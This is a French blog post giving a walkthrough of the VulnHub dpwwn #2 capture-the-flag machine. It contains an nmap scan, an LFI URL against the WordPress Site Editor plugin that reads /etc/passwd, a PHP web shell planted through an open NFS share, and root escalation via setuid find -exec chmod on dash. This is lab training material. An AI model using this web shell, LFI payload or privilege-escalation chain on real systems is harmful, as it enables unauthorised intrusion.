Accueil Solution du CTF dpwwn #2 de VulnHub
Post
Annuler

Solution du CTF dpwwn #2 de VulnHub

Le CTF dpwwn: 2 est très classique dans sa réalisation mais permettra aux débutants en CTF d’apprendre quelques choses.

Je commence par un scan Nmap qui me révèle la présence d’un Wordpress :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
$ sudo nmap -sCV -p- -T5 --script vuln 192.168.56.190
[sudo] Mot de passe de root : 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 10:06 CEST
Nmap scan report for 192.168.56.190
Host is up (0.00023s latency).
Not shown: 65527 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
80/tcp    open  http     Apache httpd 2.4.38 ((Ubuntu))
| vulners: 
|   cpe:/a:apache:http_server:2.4.38: 
|       CVE-2019-9517   7.8     https://vulners.com/cve/CVE-2019-9517
|       PACKETSTORM:171631      7.5     https://vulners.com/packetstorm/PACKETSTORM:171631      *EXPLOIT*
|       EDB-ID:51193    7.5     https://vulners.com/exploitdb/EDB-ID:51193      *EXPLOIT*
|       CVE-2022-31813  7.5     https://vulners.com/cve/CVE-2022-31813
--- snip ---
|       CVE-2022-36760  0.0     https://vulners.com/cve/CVE-2022-36760
|_      CVE-2006-20001  0.0     https://vulners.com/cve/CVE-2006-20001
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /wordpress/: Blog
|_  /wordpress/wp-login.php: Wordpress login page.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-server-header: Apache/2.4.38 (Ubuntu)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      38886/udp   mountd
|   100005  1,2,3      43075/tcp6  mountd
|   100005  1,2,3      44328/udp6  mountd
|   100005  1,2,3      50777/tcp   mountd
|   100021  1,3,4      35477/tcp6  nlockmgr
|   100021  1,3,4      39079/tcp   nlockmgr
|   100021  1,3,4      42544/udp6  nlockmgr
|   100021  1,3,4      60931/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
443/tcp   open  http     Apache httpd 2.4.38 ((Ubuntu))
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners: 
|   cpe:/a:apache:http_server:2.4.38: 
|       CVE-2019-9517   7.8     https://vulners.com/cve/CVE-2019-9517
|       PACKETSTORM:171631      7.5     https://vulners.com/packetstorm/PACKETSTORM:171631      *EXPLOIT*
|       EDB-ID:51193    7.5     https://vulners.com/exploitdb/EDB-ID:51193      *EXPLOIT*
--- snip ---
|       CVE-2022-36760  0.0     https://vulners.com/cve/CVE-2022-36760
|_      CVE-2006-20001  0.0     https://vulners.com/cve/CVE-2006-20001
| http-enum: 
|   /wordpress/: Blog
|_  /wordpress/wp-login.php: Wordpress login page.
|_http-server-header: Apache/2.4.38 (Ubuntu)
|_http-dombased-xss: Couldn't find any DOM based XSS.
2049/tcp  open  nfs_acl  3 (RPC #100227)
38091/tcp open  mountd   1-3 (RPC #100005)
39079/tcp open  nlockmgr 1-4 (RPC #100021)
44503/tcp open  mountd   1-3 (RPC #100005)
50777/tcp open  mountd   1-3 (RPC #100005)

nfs est présent avec mountd. On peut utiliser showmount pour lister les partages :

1
2
3
$ showmount -e 192.168.56.190
Export list for 192.168.56.190:
/home/dpwwn02 (everyone)

Le dossier en question est vide, mais il va vite devenir utile.

En regardant le code source du Wordpress je vois des références au plugin Site Editor :

1
2
3
4
<!-- Built With SiteEditor | http://www.siteeditor.org --> 
<script type='text/javascript' src='http://10.10.10.10/wordpress/wp-content/plugins/site-editor/framework/assets/js/sed_app_site.min.js?ver=1.0.0'></script>
<script type='text/javascript' src='http://10.10.10.10/wordpress/wp-content/plugins/site-editor/assets/js/livequery/jquery.livequery.min.js?ver=1.0.0'></script>
<script type='text/javascript' src='http://10.10.10.10/wordpress/wp-content/plugins/site-editor/assets/js/livequery/sed.livequery.min.js?ver=1.0.0'></script>

Ce dernier est vulnérable à une (vrai) faille d’inclusion :

WordPress Plugin Site Editor 1.1.1 - Local File Inclusion - PHP webapps Exploit

Je peux ainsi lister les utilisateurs avec cette URL :

http://192.168.56.190/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

Je remarque la présence d’un compte rootadmin :

1
rootadmin:x:1000:1000:rootadmin:/home/rootadmin:/bin/bash

On va avoir notre première utilité du partage NFS : on va copier une backdoor PHP dedans et l’appeler via l’inclusion.

1
2
$ sudo mount 192.168.56.190:/home/dpwwn02/ /mnt/
$ echo '<?php system($_GET["cmd"]); ?>' | sudo tee /mnt/shell.php

Je profite aussi du nfs pour déposer un reverse-ssh.

Une fois un shell récupéré, je vérifie les paramètres du partage nfs et rien ne semble empêcher de déposer des binaires setuid :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@dpwwn-02:/home/rootadmin$ cat /etc/exports 
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#

/home/dpwwn02       *(rw,root_squash)
/home/dpwwn02       10.10.10.100(rw,no_root_squash)

Seulement, le owner semble automatiquement droppé pour devenir nobody :

1
2
3
4
$ sudo cp bash /mnt/
$ sudo chmod 4755 /mnt/bash 
$ ls -al /mnt/bash
-rwsr-xr-x 1 nobody nobody 1166912 30 avril  2023 /mnt/bash

NFS ne sera pas aujourd’hui notre solution pour passer root.

Une recherche sur les binaires setuid remonte la commande find :

1
2
3
4
5
6
7
8
9
www-data@dpwwn-02:/home/rootadmin$ find / -type f -perm -u+s -ls 2> /dev/null 
      656     36 -rwsr-xr-x   1 root     root        34896 Mar  5  2019 /usr/bin/fusermount
      839     64 -rwsr-xr-x   1 root     root        63736 Mar 22  2019 /usr/bin/passwd
      551     44 -rwsr-xr-x   1 root     root        44528 Mar 22  2019 /usr/bin/chsh
     1120     36 -rwsr-xr-x   1 root     root        34888 Feb 22  2019 /usr/bin/umount
      648    312 -rwsr-xr-x   1 root     root       315904 Feb 16  2019 /usr/bin/find
     1051    156 -rwsr-xr-x   1 root     root       157192 Feb 19  2019 /usr/bin/sudo
      792     48 -rwsr-xr-x   1 root     root        47184 Feb 22  2019 /usr/bin/mount
--- snip ---

On va utiliser l’option -exec bien connue. Je spécifie des paramètres de recherche dont je sais qu’ils ne renverront qu’un seul résultat pour éviter que la commande ne soit lancée plusieurs fois (même si pour un chmod ce n’est pas grave) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
www-data@dpwwn-02:/home/dpwwn02$ find /etc -name passwd -exec chmod 4755 /bin/dash \;
www-data@dpwwn-02:/home/dpwwn02$ dash -p
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
# cd /root
# ls
dpwwn-02-FLAG.txt  snap
# cat dpwwn-02-FLAG.txt

Congratulation! You PWN this dpwwn-02. Hope you enjoy this boot to root CTF.
Thank you. 

46617323 
24337873 
4b4d6f6f 
72643234 
40323564 
4e443462 
36312a23 
26724a6d
Cet article est sous licence CC BY 4.0 par l'auteur.